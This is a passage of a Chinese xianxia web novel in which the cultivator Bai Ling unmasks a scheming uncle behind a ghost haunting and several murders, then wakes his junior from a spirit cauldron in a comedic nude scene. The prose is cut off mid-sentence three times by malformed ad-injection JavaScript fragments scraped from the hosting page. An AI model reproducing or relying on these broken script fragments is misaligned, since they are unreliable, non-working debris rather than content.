水花飞溅,白翎替裴响抹了,索性倚着池沿,跟他聊些不三不四的放松心情。比如“和展月老祖同代的某仙姑开后宫养小白脸”啦、“两个自认为女性的男修结成道侣,究竟算断袖还是帕交”啦等等等等。 遭受他的淫词浪语攻击,裴响浸润了湿意的绒布脸蛋上,五官线条隐隐抖动。白翎八卦得正起劲,完全没注意他,泡得整个人都舒展之后,才“哗啦”一声站起来,舀水冲洗上半身。 他的阴影覆下,将小巧的绒布偶完全挡住。 水汽,热意,不知何处而来的暗香,飞珠溅玉的响动以及水珠沿着躯体滴落的声音,在狭窄的隔间内交织。 等白翎终于洗完,已经是半刻钟后了。他换上另一套白衣,顺手拿起裴响,端详他片刻。 “师弟,为什么你的灵气消失了?” 他捧着面如死灰的绒布偶,感觉裴响死掉了。不过睡着的裴响能出什么事? 白翎自认为贴心地把他按进水里,浑身上下揉搓一通,给师弟也洗了个热水澡。 绒布偶被他摸遍全身,一粒豆大的蓝色泪珠图案在脸上一闪而逝。取而代之的是两团红晕,从脸蛋烧到耳朵。 白翎十分满意,说:“你的气色好多了,不用谢。” 裴响:“……” “回师门就得自己洗了,不要太想念师兄的服务哦。” 裴响:“………………” — 深夜,万籁俱寂。 白翎趿着木屐出来,将施术吹干的绒布偶夹在臂弯,随便梳了下湿漉漉的长发。 诸葛悟亦未就寝,趺坐于院里空地,整个人飘在空中,体表笼罩着一层皎洁的光晕,如瓷上釉。 白翎知道师兄在分神回道场,去查叶琅相关的资料,并未作声。他打算把发根弄干,就回屋睡觉。 夜风微寒,自下而上吹来。忽然,白翎梳头的手一顿,发现了一丝异样。 诸葛悟解下了双剑、拂尘、一枚铃铛,将外物置于身前。然而此时,那枚铃铛正在放光,似乎感应到了什么。 白翎记得师兄给了裴声一枚同样的铃铛,她转赠于裴舅爷。他好奇地提起铃铛观察,不料一阵天旋地转,竟然在刹那之间,被传送到了另一个地方! 白翎目瞪口呆,没想到警报器还带空投功能。 下一刻,一阵惨叫响起。他循声望去,发现自己身处一片露台,四周陈设华丽,显然是裴家人的居所。 白翎翻过栏杆,落在地面,双手将内院门一推。霎时间,幢幢鬼火照面,满院的烛灯都冒着绿焰,已被邪气侵染。 一团人形的黑雾背对白翎,立在院中,垂着狰狞的利爪。裴舅爷被他的黑影完全罩住,发出断断续续的哭嚎,一条腿上露出深可见骨的伤口,拖出长长的血迹。 在裴舅爷身下,画着一圈圈阵轨。以他背靠的桃树为中心,叠了七重法阵,不过怨灵已冲破六重,眼看要到他近前。 裴舅爷一面挥舞四面宝旗,一面死死捏着诸葛悟的铃铛,嘶声大喊:“救命啊!!叶琅要杀我——” 桃木辟邪,最外层的枝叶却在快速枯萎。宝旗感应到怨气,砰然涨大,卷出游龙般的长幡,上面绘制的正是神荼郁垒二位门神、降妖伏魔的连环画。 铃声也响了,如沉沉鞞鼓,动地而出。一道亮光从铃舌升起,直冲漫天云翳,向四周扩散出一圈圈波纹。 一座结界迅速撑开,将裴舅爷的院子囊括在内。 白翎抬手挡住呼啸的狂风,叫道:“喂!” 他把裴响塞在胸口,张开双臂,试图引起怨灵的注意。然而怨灵被法宝限制,愈发狂躁,利爪不断地袭向最后一层阵法,好几次差点抓到裴舅爷了。 糟糕,法阵要挡不住了。 白翎心念一动,冲他喊道:“叶琅!你姐姐叫叶琳吧?” 此话一出,怨灵似乎转动了一下身躯,挥舞的利爪也慢下来。 琳琅琳琅,琳在前琅在后,白翎猜他们也是一对姐弟,果然没错。可是怨灵若能正常沟通,就不叫怨灵了,下一霎咆哮震天,怨灵被大大激怒,一掌拍碎了第七条阵轨! 宝旗漫卷,紧紧地缠上怨灵身躯。门神的双眼精光毕露,邪气高一尺、法宝高一丈,好一番搏斗相持。 裴舅爷抓住机会,冲到白翎身后,抖若筛糠。白翎刚想笑他两句,院门再度大开,诸葛悟与驾鹤一脉同时赶到。 诸葛悟并拢二指,打出一道剑气。此招气贯长虹,声若惊雷,直奔怨灵而去。 白翎心下咋舌,正感慨叶琅死无葬身之地时,忽然觉得怀里一空。一团东西飞了出去,不偏不倚,正挡在怨灵身前! “裴响!” 白翎脸色变了。 他从未有此刻像现在这样,眼前的一切皆放到极慢。 绒布偶竟然挣脱了法诀的限制,眼看要被万钧剑气击中。而白翎在一瞬间身形闪动,看过却没认真练过的神行术浮现在脑海,刹那间融会贯通。 他只来得及抓住绒布偶的脚往下一扯,依然被剑气波及。 霎时间,空中响起镜面破碎的声音。白翎身前浮现了一道巨大的法印,一闪即逝。即便如此,驾鹤一脉的弟子们还是惊呼出声,认出了它的来源: “梦微道君亲笔!” 化神期修士留下的护身符,为白翎挡住了致命一击。 生死关头,他记起了三百年前入门的场面——仙人抚我顶,结发受长生,紫衣银剑的剑仙遥遥向他画符,将保命的法印藏在他额心。 白翎一骨碌落地,诸葛悟已闪至身侧,抓住他的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手。怨灵在消散,即便有白翎分担,依然敌不过元婴期修士的捏诀剑气。 “先看裴响……” 白翎喃喃地翻过绒布偶,只见他的五官流出红线,已是七窍流血。 诸葛悟道:“他自己飞出去的?” “对,他突然冲开了法诀,神识受损肺腑破裂……师兄,怎么办?先把他变回人形吗?”白翎一时间手足无措。 “不可,化形术简化了他的脏器,勉强还能运转。但若回到人形,顷刻便会毙命。” 诸葛悟召动一尊香炉,将裴响置入其中。 他道:“师弟先由我保管。这尊瑶池鼎,据传是太上老君用过的炼丹炉,内有我多年累积的天材地宝,且看他个人造化罢。” 白翎两手空空,仍望着掌心不语。 驾鹤一脉的弟子们听他喊一个绒布偶师弟,满腹疑云而不敢言。唯有一人嘟囔道:“已经把怨灵除了,他还在发呆干嘛?” 裴舅爷满头大汗,整个人水洗过一般,瘫倒在地。黑气在院中四散,窸窸窣窣地游向空中,宝旗与铃铛皆恢复原状,飞回各自的主人手里。 “嗤”的一声,烛火变回了红色。似红油倒入院落,涂满四壁。 白翎忽然说:“师兄,借你的剑一用。” 诸葛悟沉默片刻,“千恨”出鞘,低吟待命。 白翎握住剑柄,径直走向裴舅爷。众目睽睽之下,他提剑指向裴舅爷的咽喉,道:“走。” “白、白仙长!你疯啦?”裴舅爷连忙用眼神向漱玉真人求助。 驾鹤一脉的后生们同样被白翎吓了一跳,纷纷喝道:“姓白的,你怎么迁怒于人呢!” “我就说他有毛病,终于装不下去了吧……” “肃静!”漱玉真人一声令下,再无二话。她对裴舅爷道,“既然白师弟要你走,你走就是。我且待看看,究竟谁心中有鬼。” 白翎将剑一扬,划出血痕。裴舅爷不情不愿地迈步,倒像在拖延时间。 白翎笑道:“快装不下去的是你吧,裴舅爷?还拖拖拉拉做什么,等我们去给你外甥女收尸吗?” “你胡说什么!声儿她、又关她什么事?叶琅已经没了,声儿还能有什么危险?你等着,她肯定马上就到,她会给我撑腰的,你个游手好闲的废物!” 裴舅爷骂骂咧咧,听得白翎笑容更盛。 他说:“好好好,果然露出了马脚。喂大叔,你从哪听说的我是个废物啊?我才来你们家几天,难道那几位闲话说到你跟前去了?” 他余光一扫,看过驾鹤一脉的师弟师妹们。漱玉真人道:“在下以手中剑起誓,绝无此事。” 裴舅爷愣了下,说:“我外甥要进你家门,我自然会去打听!冯力士出自霁青道场,我托他打听的,有什么问题吗?” “没问题,毕竟是我名声响亮嘛。不过漱玉真人给了你宝旗,师兄他给裴家主的铃铛也到了你手里,你是完全不担心裴声遇害啊?换句话说,裴舅爷,你老实告诉我。” 白翎的手缓缓上摆,剑尖从咽喉滑到下颔,迫使眼前人把头抬高,露出惊慌失措的脸。 他笑吟吟地问:“你知道怨灵一定会来杀你,因为他要为姐姐叶琳报仇,对吧?你脚下的七重法阵是谁画的,嗯?难道是你自学成才?骗鬼的三名死者,到头来,死的只有叶琳一人!刘大师保着你,我们也帮你除掉了怨灵,还有那个冯力士——” 白翎一怔,电光石火间想通一切,蓦地转向其他人道:“糟了,快回裴声住的主楼,她有危险!” 8.八、花香 众人御剑赶回主楼,裴舅爷被吊在半空,鬼吼鬼叫了一路。 白翎待在师兄的袖子里,心乱如麻。一面担心裴声已经遭遇了不测,一面百思不得其解,不明白裴响为何会给叶琅挡剑。 虽说事态逐渐明朗,白翎基本断定,一切是裴舅爷在幕后捣鬼,但站在裴响的角度,他怎么知道叶琅是无辜的呢?甚至去舍命相救。 怨灵会保有执念,甚至感应出故人的存在,导致许多凡人对其心软,总以为是逝者的化身。 但修士们明白,即便怨灵有再多冤屈,也不该留在世上。他们多留一刻,怨气就多一分,残害无辜之人以泄愤的怨灵更是不在少数,堪称百害而无一利。 在修真界,目前的处理方法主要有三种:一是感化,送其往生;二是超渡,也就是强行感化;三是镇压,如诸葛悟那般,一剑诛灭。 个别怨灵执念深重,可以从其表现断其冤屈。不过诸葛悟显然不在意裴家的水下暗涌,留到现在,只是给白翎机会看好戏罢了。 来不及让白翎深思,转眼已至主楼。三层渐进式的建筑恍若天宫,被高达数丈的白流苏树簇拥。 月夜花开正盛,如雪浪托举着裴声所居的馆阁。那是裴府的最高点,足以俯瞰整座洛东城。 白翎迅速落地,目之所及,竟是一片破败——绣有祖辈事迹的屏风东倒西歪,窗纱大片撕烂,满地是碎裂的瓷片。白流苏花随处可见,被碾成馥郁的花泥。 显然,有个力大无穷之人先一步到此,掘地三尺地搜寻。白翎心一紧,听得漱玉真人轻呼:“她在那儿!” 几人齐齐抬头,只见用于观景的塔楼上,隐约有一道人影。她袍袖翻飞,正是裴声,被藏匿在暗影中的某人逼得步步后退,眼看要跌下高楼! 白翎快步奔去,然而晚了。夜色中爆发一道明光,暗处的杀手发动了杀招。 裴声无路可退,几件压箱底的法宝都被打成了渣滓。不料在剑光落下之际,她身边的空气忽然发生了扭曲。 一阵云烟腾起,环绕在裴声周围。仿佛是她的护身符,替她抗下此剑。 白翎松了口气,正想丢个定身诀擒拿杀手,不料杀手在出招的刹那便已潜逃,估计没想到裴声还有后手,提前消散在夜色中。 众人足尖轻点,纷纷跃上塔楼。 一轮明月近在咫尺,将砖地映得雪亮。白流苏花开得更盛了,在月下若一片汪洋。 “噗通”一声,被拴着的裴舅爷滚落在地,一路摔到裴声面前。裴声单手按着肩头,指缝溢出血色,双眼却如两点冷火,面带微笑。 她垂目看着中年男人,听他嚎啕道:“声儿!幸好你没出事,幸好你没事啊——见鬼的展月一脉,全是江湖骗子,千万不能让响儿拜入他们门下!那个姓白的混蛋,竟然污蔑我害死琳儿——” 裴声冷笑道:“污蔑?舅舅,你猜刚才是谁要杀我?是冯力士!你不是说他死了吗,难道他诈尸了?还做贼心虚地易了容,可他的拳法招式,我一清二楚!” 裴舅爷爬起来,满面惊诧。 他反问道:“怎么会是老冯?不对,声儿,你没看错吗?不是我说他死了的啊,你明明亲眼所见,他屋里满墙是血、地上还有本命兵刃。修士若非身死,怎会落下武器?再说了,他一个用拳头打架的,武器是一双指虎,可不是刚才的剑哪。” “但替他收殓遗物的是你,物归原主,并非难事。至于用剑,自然是为了隐匿身份,好让你抵赖。” 裴声看向几名仙家人,淡声说:“让诸位仙长见笑了。不过,托你们的福,终于让我等到今天。舅舅,我请人验过,冯力士屋里的确实是人血。不过一定是他的血吗?你把他惨死的消息传得举城皆知,当天便吓跑了两个伙计,不知所踪。他们二人中,是否有一个替死鬼呢?” 裴声受了轻伤,缓步活动身躯。她绕着裴舅爷慢行,将事情的另一面娓娓道来: “冯力士要杀凡人,易如反掌。借尸首放血,再将其丢在刘大师房中。纵火之后,根本辨不出焦尸的身份,一具尸体,让两人金蝉脱壳,到头来只苦了我的阿姐,她用于祝祷的香料中,被掺入剧毒!” “不、不是这样的——声儿,你怎能全凭臆想说话?一派子虚乌有!” 裴舅爷见她并无实际证据,当即露出一副痛心疾首的表情,道:“你要是早有疑虑,就该摊开来说,何必等到现在,往我头上泼脏水?你娘在天上看着我们呢,你这样空口白牙地诬陷我,对得起她吗?” 裴声听他提起母亲,又悲又怒,一口淤血涌上喉头,说不出话。 裴舅爷也扶墙站起,向在场的修士们作揖:“家丑不可外扬,实在让仙长们看笑话了。都怪我溺爱长姐的遗孤,对声儿姐弟历来是有求必应,现在却被反咬一口!响儿即将拜入仙门,我这个做舅舅的资历老些,伙计们更拥戴我,但我从无二心啊。声儿竟然……唉,怪我,都怪我!我对不起长姐的在天之灵!” 他老泪纵横,抬手扇了自己一耳光。 驾鹤一脉的弟子看不过眼,劝道:“想来此事有些误会,不如大家各自坐下来,好好谈谈……” 然而一道清凌凌的嗓音响起,说:“你确实对不起裴夫人的在天之灵。” 刹那安静,所有人看向声音的来源。 白衣青年站在人群最后,在一众碧衣之间,他是融入月光的雪色。 白翎嘲讽道:“裴舅爷,你怎么好意思说‘在天之灵’的?依我看,是‘在地之灵’才对,而且是在地下拉了十多年磨的怨灵!” 此话一出,裴舅爷脸色骤变。 他意识到自己神情不对,连忙抹了把脸,说:“你怎么又在这妖言惑众?白仙长,我和你无冤无仇,你却一而再再而三地抹黑我!明明是你说的,怨灵追着裴响不放、恨他恨到骨子里,怎么上下嘴皮子一碰,居、居然变成是……我说不出口,裴家不会放过你的!” “别急。你急也没用,听我说完。” 白翎轻笑出声,道:“是,因为我差点被怨灵削掉头皮,又发现她对裴响反应很大,误以为她是叶琅。但怨灵分得清拥抱和抓挠吗?她靠近我时,利爪断裂,只伸出手。当时我以为是护身符的作用,直到挨了师兄一剑、激发真正的护身符,才知道另有原因。而且就在刚才,裴响不惜性命、去为怨灵抵挡攻击。你还记得吧?” “哪来的裴响,我根本没看见响儿!你休要胡言乱语,明明飞出去一个布娃娃,你骗谁呢?”裴舅爷冷笑起来。 白翎却一摊手,说:“爱信不信,你可以去问把守裴响院子的护卫们。他们和带我过去的侍女姐姐都可以作证,我早就将师弟变成布偶揣走了。裴家主,你应该也收到下人报告了吧?” 裴声抿着唇颔首,表示知情。她脸色煞白,片刻后,侧头吐出大口淤血,靠在廊柱上喘气。 漱玉真人取出一枚丹药,递给她暂缓吐息。 裴舅爷见势不妙,连忙咬死重点,说:“伪证,裴声作的是伪证!她把护卫侍女全部遣散,是不是和你串通过的,啊?现在没法求证,我不信!” “都说了爱信不信,怎么听不懂人话呢。随你信不信,反正他们信。是吧诸位仙友?” 白翎向驾鹤一脉一扬下巴,漱玉真人说:“没错。我偶尔也将负伤的后辈化作物件儿,纳入袖中。在那个绒布偶上,我感应到了先天剑骨的气息,绝对是裴响本人。” “就是就是,除非你老裴家祖坟冒青烟,先天剑骨买一送一。”白翎言归正传,道,“裴响会舍命相救的能有谁?我师弟没早恋吧?那么除了亲人还是亲人。而同时满足‘亲人’加‘死人’这个条件的,不就只有他娘了吗?” 说罢,他觉着自己好像遗漏了什么,转头去问裴声:“请问你们爹是?” “母亲是十七年前,在行商途中出事的,死不见尸。父亲也在十年前因思念成疾,郁郁而亡。”裴声咬牙说道,一眼不错地盯着裴舅爷。 裴舅爷早已满头冷汗,不过困兽犹斗,道:“响儿自小心善,八成是觉得叶琅还没交代杀害三人的原因,怕你们直接把它灭了,让冯力士几个白白死掉……” 白翎听得发笑,说:“你真是洛东城头号死鸭子啊。行,既然你提起枉死的‘三人’,我们再来聊聊裴小姐。确切地说,她叫叶琳。” 他顿了顿,继续道:“如果裴夫人真的恨叶琅下咒,怎会对叶琳视如己出?就算她够大方,叶琳被收养的时候也懂事了,她会对弑亲凶手毫不介怀、还和裴声情同手足吗?” “她……她……”裴舅爷大声道,“我怎么知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道她!她神经兮兮的,天天去林子里烧香,说不定脑子有病。裴家待她不薄,她当然要感恩戴德!” “那我问你,为什么怨灵进裴家宗祠的时候犹豫了?叶琅会怕裴家的列祖列宗吗? “为什么被叶琳的骨灰丢中后,怨灵直接消失?你听到了叶琳残魂的声音,她必然会抓住一切机会,吐露真相。 “怨灵碰到她后,发狂一样地追杀你。难道为叶琳报仇的非得是她弟弟,就不能是她的养母吗!” 白翎面上的笑意淡了,一席话掷地有声。 他接着说:“我一直在怀疑你,裴舅爷。我不仅怀疑你毒杀叶琳,还怀疑你害得裴响沉睡。师弟他中的不是咒,而是什么偏门法诀,想必要咨询那位刘大师了。如果我没猜错的话,他和刚才逃走的冯力士,都藏在你院子里。若你大功告成,长姐的怨灵被灭、外甥女遇刺身亡、外甥拜入仙门,而你是未来的裴家家主,前途一片光明啊!” 驾鹤一脉的小辈们听得一愣一愣,到最后醍醐灌顶,猛然看向中年男人。 是了,此局若成,裴舅爷是最大赢家,亦是唯一赢家。 裴声含恨盯着这个血脉相连之人,道:“十七年前,害死母亲的,正是你们三人吧?舅舅、冯力士、刘大师!” 她一拳捶在栏杆上,然而切肤之痛,远不如至亲横死。压抑了整整十七年的痛苦,到今日才敢展露。 众人缄默,渐渐看出了全貌:裴舅爷联合那二人做局,害死裴夫人,并将她的魂魄拘于地下,让她日夜为裴家拉磨,压榨她的来世福泽。 十七年过去,亡魂终成怨灵,心怀鬼胎者噩梦频频。于是当初三人重聚,借一纸阴阳契约,编一段连篇鬼话。 只待裴响沉眠、仙家上门,便能借仙家之力镇压怨灵,再趁乱暗杀裴声。 裴声一死,裴响离家,永无后顾之忧。此事唯有一处破绽,便是他们拿来瞎编的故事亲历者之一,叶琳。 于是,她死在了花林中。 裴舅爷倒退半步,向裴声道:“是……是你的臆测……外甥女,我的好外甥女!难怪你执意遣散护卫,原来是引蛇出洞。但看见冯力士是你的一面之词,休想以此攀咬我。” “我已料到你的狡辩话术了,舅舅。你们害我娘亦是分工协作,当年没法把你们联系起来,才没法定罪。所以,我在府上种满花林,十七年了,花树终于盛开。放眼整个天照郡,唯有我们脚下,生长着白流苏树。” 裴声顿了一顿,说:“我听闻有种仙法,可以化出灵蝶。令其嗅一样物品,即可追随气味而去。我布下重重关窍等候杀手,总算得了他的血肉,并染上流苏花香。且看灵蝶飞往何处,便知杀手真容!” 她松开一直按着肩膀的手,原来身披倒刺宝甲,由青金炼制,专门抵御力士的攻击。 冯力士虽然用剑发动致命杀招、作为幌子,但久久抓不到她,总要动真格的,挥起他那双拳头。 裴声身上的血,不是她的,而是她留下的证据。 裴舅爷自知大势已去,死到临头,竟强笑了一下。 他问:“你是何时起疑心的?莫非是叶琳那个杂种,跟你说了什么?当初要不是她游说族老、全力扶持你当家主,我早在十七年前就……就……” “你会为阿姐偿命。” 裴声的眼眶红了,仿佛想起了在虎狼环饲时,与女子相依为命的岁月。 她道:“你们以为是传说的阴阳契,其实真实存在。两百余年前,母亲资助叶琳治病,叶琅无以为报,遂签下阴阳契,自愿在死后庇佑裴家。 “我之所以敢以身做饵,正是因此,刚才为我挡下杀手剑招的,亦是叶琅这位保家仙。但他的显灵范围有限,只在我们姐弟三人的住处,所以,阿姐在母亲死后,日日去花林祝祷。因为下一个死的不是她,就是我。 “她选择了用性命做我的警钟。我引蛇出洞,她何尝不是诱鱼上钩?每天雷打不动,离开保家仙庇佑的范围,就是给你们下手的机会。而她一旦身故,便意味着…… “舅舅,你们要故技重施了。” 无数灵蝶从漱玉真人掌心飞起,环绕裴声一圈,向远处飞去。金灿灿的蝶翼如一抹流星,涌向裴舅爷所住的院落。 他两腿一软,直直地跪在地上。 9.九、解铃 三日过去,裴家恢复了宁静。 白翎本以为会有官府来羁押裴舅爷,没想到修真界并无什么“一统天下”的概念,更没有皇权统治。 道场仙家之下,世族门阀割据。滞留的日子里,白翎亲眼旁观了族老上门,回本家来参加族会,给裴舅爷定罪。 起初,族老们念裴舅爷帮扶家业有功,且出于家族名誉考虑,打算判他去祖坟守灵到死。但不知裴声暗中运作了什么,几条旁支皆一改口风,力主偿命。 最终裴舅爷由裴声亲手动刑,尸身不得入祖坟,墓前不得立碑。 听说裴声原本要他也去地下拉磨,但族老们都嫌晦气,没人想要裴舅爷的魂魄埋自家脚下,最后不了了之。 白翎提着一袋煎饼果子,大摇大摆地踏进裴府。 家仆们已经回来了,并且从管家口中听说了白翎的英勇事迹,一个个对他顶礼膜拜。白衣青年的身影才出现在路口,守门的小厮便跳起来迎接。 “白仙长,亲自去吃早膳啊?” “仙长喜庆,仙长吉祥!” 白翎很不习惯,但很受用,笑眯眯地分发早点。小厮们对他礼遇太过,除了每日买的糕饼散得快了些,远胜于在霁青道场的体验。 驾鹤一脉的弟子们也对他有所改观,不那么满怀敌意了。白翎事后才知,他们一位师兄曾“死”在诸葛悟手上。 确切地说,是两人争夺天机滴露,用以结丹。诸葛悟行事不留余地,也不近人情,将彼时的天机滴露尽数收入囊中。 驾鹤一脉的师兄不得不退而求其次,用品质低一级的华胥散。人工萃取的药剂比不了天然精华,最后他走火入魔,已不知转生于何处了。 按理说,事情该怪在诸葛悟头上。 但修真界实力为尊,驾鹤一脉的弟子们认为,师兄技不如人,他们心痛也不能怪罪于渡尘真人。 白翎听这帮二缺煞有介事的,一度觉得很好笑:“所以你们怪我?” 二缺们告诉他:“渡尘真人每次把好东西一网打尽,都说是给你以后结丹、凝婴备着的。” 白翎:“……” 不好笑了。 他长叹一口气,感觉到了前所未有的压力。原来师兄对他寄予厚望,这和期待一条咸鱼发动工业革命有什么区别?他才筑基啊,下辈子都不一定能到金丹。 回住处前,白翎路过主楼,碰上两个意料之外的人影,不由得站住了,道:“咦?” 两名女子相伴而行,正是裴声和漱玉真人。 双方简短见礼,白翎一眼瞅见裴声上下抛玩着一个玩意儿,好奇道:“家主有什么新鲜东西吗?” “白仙长总是很敏锐。”裴声抛给他看,只见一枚三虫衔尾的玉环,色泽驳杂。 白翎提起来在阳光下鉴定片刻,道:“三条虫子,难道是……” 漱玉真人说:“多谢裴家主给我机会,提供了许多阴阳契的案例,让我了解此门邪术。而后学以致用,稍加改进,将裴舅爷、冯力士、刘大师三人的亡魂禁锢其中。” 白翎笑道:“让他们生生世世不分离?” 裴声说:“他们不是很喜欢一起密谋吗。我遂了他们的愿,也算积德了。” 白翎转念一想,更觉巧妙。若只是将三人的魂魄打散,难解裴声心头之恨,可他们各去拉磨,又指不定会惦记着报仇,变成怨灵。 唯有将他们困在一起,三人互相诘责怨怼,才能完美地平衡怨气。通俗来讲,就是让他们内部消化,直到魂魄枯竭。 漱玉真人含笑轻叹,道:“终究是我棋差一着,不好再强求裴响入门了。贫道在此别过诸位,山高路远,后会有期。” 她的师弟师妹们在长廊下探头,显然等着师姐。除了一个拄着拐的略显苍白,其他都面庞红润,显然在裴府吃得很好。 裴声向其行礼致谢,白翎想了想,同样探头出去,冲驾鹤一脉的后生们笑眯眯挥手。弟子们见识过他断案,勉力放下成见,老老实实回礼。 白翎说:“以后来折雨洞天采珠贝,给你们三折市场价哦。” 一阵乒乓哐啷的响声,个别被说中的弟子面红耳赤,差点没拿稳兵刃。 白翎很得意地道:“不要告诉我师尊就行,他超小气。” 漱玉真人无奈地说:“有时候也挺同情诸葛道长的。你这无法无天的性子啊,白师弟,说句不中听的话,莫非天道用你来平衡他的气运?” “嘢?你什么意思,不要临走了还攻击我啊。”白翎哼哼,不满地啃了一大口煎饼果子。不过他明白,于漱玉真人这样的修炼狂魔而言,损他才是卸下心防的开始。 女修笑了笑,请他日后得闲,一定要到驾鹤一脉的洞府做客。她结成仙印,几只灵力化就的仙鹤翩然而落,驾着他们的马车,载人凌空飞去。 白翎手搭凉棚目送,发出一声“哇哦”。待鹤影消失,裴声问:“白仙长,你知道响儿状况如何么?” “他啊……” 白翎面上的笑意淡了些,惆怅道:“师兄攒了七百年的家底儿快被他吃光啦,还没出那个炉。” “请仙长记下所有花费,裴家一定偿还。” “不是还不还的问题。”白翎轻咳一声,寻思师弟再不出炉,该炼成哪吒了。他忧愁地说,“我怕他出炉直接破境,修为比我还高。天啊,以后我这师兄颜面扫地,岂不是当狗的资格都没啦?” 裴声面露困惑,仿佛听懂了他的话,但不敢确定他的意思。 她迟疑片刻,说:“响儿自小尊师重道,白仙长……当师兄就好了。” “啊,不行,我要早作打算!反正家主你放心,师兄说过他死不了,只是要用天材地宝续命。等回到师门,我去师尊那里薅点好东西,保证师弟焕发第二春。走啦!” 白翎把油纸包成一团,转身往住处跑,打算给裴响上三炷香。 不过他忽然想起什么,停下步子。 裴声看白衣青年回身,欲言又止,与他对视片刻,淡淡道:“我知道仙长想说什么。放心,我不恨诸葛道长。沉溺于过去的不止怨灵,活人更甚。我,要谢谢他那一剑。” 白翎点点头,终于无话可说了。 不过女子略略展颜,又问:“白仙长早知响儿只是中了法诀,不怕他与案情相关吗?竟让他一直睡着。” “哈哈,毕竟我们的任务只是带他回去嘛……有关无关的,我不在乎。”白翎两眼弯弯,露出促狭的笑意,“我早就断定,凶手不是裴舅爷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就是你。幸好不是你呀,裴家主,我不想我的师弟太伤心。” 女子了然道:“原来如此。诸葛道长在西门等你,白仙长,响儿以后便拜托你了。” 白翎一愣,问:“托付给我师兄更好吧?还是说,你只是跟我客套一下。” 飘飞的花雨中,裴声的面目拢在白狐绒衣领间。 她平静地说:“不是客套。白仙长,望你们平安。” — 剑修墨蓝织金的背影立在树下,一如初来洛东城时。 婆娑的树影披于他身,金钱斑影影绰绰。 白翎呼唤道:“师兄!” 诸葛悟托着香炉回身,递给他道:“你拿着。” “哎?你怎么知道我正想找他。”白翎将香炉双手捧住,眯起眼,试图透过镂空炉盖往里看。 诸葛悟说:“刘大师落网后,已交代了让他醒来的法诀。一会儿,你将裴响唤醒。” 白翎连忙躲出两个身位,不肯接他取出的符文。 他惊讶道:“这么快?不用去偷师尊的仙草吗?我还没做好准备……师兄你来吧!” “解铃还需系铃人,阿翎。你应该有所察觉,裴响并非真正沉睡,只是丧失了行动能力,实则五感俱全。”诸葛悟微微笑道,“你之前说的胡话,应该一字不落地进了他耳朵。开心吗阿翎?” 白翎的表情像被判了死刑,掌中的香炉突突直跳,似乎有人迫不及待要破关了。 他捧着烫手山芋,干笑道:“师兄你不会有了新师弟就扔掉旧师弟吧……我叫醒他会死的。他会杀了我,一定会!” “何出此言?” 诸葛悟不清楚他私下的所作所为,问罢,见白翎少见地心虚到沉默,道:“可怜。” 白翎立即说:“师兄也舍不得我吧?你不会眼睁睁看我被扁死的吧??还是你来叫醒他吧???” “我是说裴响可怜。” 诸葛悟微微一笑,直接把符文塞到香炉撑开的缝里,以及一封书信。 他道:“前面有片花林,我等你们两刻钟。这封信,裴声让他拜师之后再看。你们将来要共处的时日很长,躲不过去的,阿翎。” 剑修转身,在道旁的亭台静坐。 白翎两眼一闭,自知不可能违抗师兄的决定,认命般拖着步伐,走进林中。 裴府的西门外,有满山的梨花树。白翎心生悲壮,认为在如此美景埋骨,也算不枉此生。 不过他不想死——裴响但凡有点良心,就不该让他死自个儿家门口。万一影响裴家风水呢? 白翎绞尽脑汁,终于找到这个留自己小命的理由。 他抱着香炉,往梨花深处行去。细雪般的飞花扑满双肩,缀在他棕色的头发上,星星点点。 不知不觉间,远离烟火人家。放眼望去,花树遮天蔽日。天光斜照,映出一块天然的青石台,让白翎眼前一亮。 他把香炉置于台前,照着符文所述念诵。少顷,炉盖轻启,灵香四溢,滚滚流云占据一方天地,宝光大盛。 白翎坚持眯着眼读完了,幸好没出差错。数日不见的少年浮现在青石台上,甫一现身,顿时惊呆了他。 难怪诸葛悟让他来,因为裴响没穿衣服啊! 10.十、放荡 白翎双眼圆睁,张口却说不出话。 隔着丝丝缕缕的白云,隐约可见一具修长光洁的躯体。修道之人,大多体格舒展,但少年肩宽腿长,肌理优美,仿佛是上天的精雕细琢之作。 还有…… 白翎喃喃道:“你真的才十九岁?” 他目光落在某处,飞快地脱下外衫,一把将其罩住。 白翎心脏狂跳,声如擂鼓。 他按住外衫这个角,又怕那个角被吹开,半边身子伏在上面,下一刻意识到某物与自己的鼻尖近在咫尺,不由得倒抽一口冷气,霍然起立。 千万不要现在醒啊师弟! 师兄我是死是活在你一念之间了—— 白翎在心中哀嚎,考虑把自己脱光换裴响穿上的可能性。 如果裴响醒来,是师兄陪着光光的他可怕、还是光光的师兄陪着他可怕? 都很可怕! 白翎急中生智,扯开自己的衣领。反正戏弄裴响那么多次,不差这一回。就说香炉开盖气冲云霄,导致二人爆衣,到时候裴响还要向他赔罪呢,至少不能睁开眼就一拳招呼过来。 嗯,应该不能。 白翎背对裴响,窸窸窣窣。然而太过着急,他竟然解不开衣带了,使劲一拽,将中衣扯落肩头,露出半扇蝴蝶骨。 一只冰冷的手从背后伸来,搭着他肩膀用力。 白翎一声轻呼,霎时间天旋地转。他被脸朝下按在了青石台上,背后覆上一人,清冷的嗓音中蕴含着沉沉愤怒。 他咬牙切齿道:“师兄。” 白翎噎在嗓子眼儿的心一瞬间卡裆了。 醒得真是时候啊师弟!现在两个人都光光的,你满意了? 他欲哭无泪,整个人被罩住,双腕别在一起,身后人仅用一只手便按得他动弹不得。 对方的体温很低,传来幽微寒意,冻得白翎发颤。 他颇具求生意志地说:“我们好像有一些误会……” “什么误会。是要我以身相许的误会,还是回宗门共浴的误会?” 少年靠着他耳后根说话,白翎几乎能听见他牙槽咬得咯咯响。 不仅如此,几缕黑发垂落,滑过白翎的面颊。裴响毕竟是金尊玉贵的大少爷,满头黑发色若鸦羽,缎子似的挡住大片光线。 白翎勉强笑道:“看在我废了护身符帮你挡剑的份上……师弟,师弟?” 裴响不理他,白翎只好彻底抛弃尊严,说:“你饶了师兄这次吧。” 裴响阴冷的吐息拂过他颈项,渐渐没那么急促了。白翎试着扭了扭腰,手腕似乎松了些,于是得寸进尺,转过来与他面对面。 裴响眼疾手快地扯过外衫,将自己腰间围了个严实。 白翎道:“你看,我连衣服都让给你了。对你多好啊?” 